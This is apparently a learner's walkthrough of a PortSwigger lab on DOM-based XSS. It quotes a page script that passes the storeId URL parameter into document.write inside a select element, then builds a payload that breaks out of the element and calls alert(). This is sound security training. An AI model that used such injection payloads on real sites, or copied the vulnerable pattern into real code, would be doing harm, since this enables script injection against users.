PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element
Task
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.
Attempt
I tried to utilize DOM invader. This is only available in Burp’s browser. Opened the dev tool and then the DOM invader panel. Since I couldn’t find any form to paste a canary, I just used inject forms and DOM invader injected a canary into the location selection pulldown menu. While you don’t usually need to look for the network tab for DOM based attacks because they’re solely on the client side, I looked at the request and found it tried to send a request with productId and also storeId parameters.
Searched for storeId and found this javascript code on the product page:
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
There’s location.search, a famous source for DOM based attacks and also document.write, again a notable sink.
From this source code, I should be able to specify storeId in a url. So I tried /product?productId=1&storeId=malenia and now malenia is reflected in the pull down menuo:
<select name="storeId"><option selected="malenia"></option><option>London</option><option>Paris</option><option>Milan</option></select>
So I tweaked the url a little bit:
/product?productId=1&storeId=</select></option>malenia
Now malenia is outside of the menu.
So the final payload was:
/product?productId=1&storeId=</select></option><script>alert(1)</script>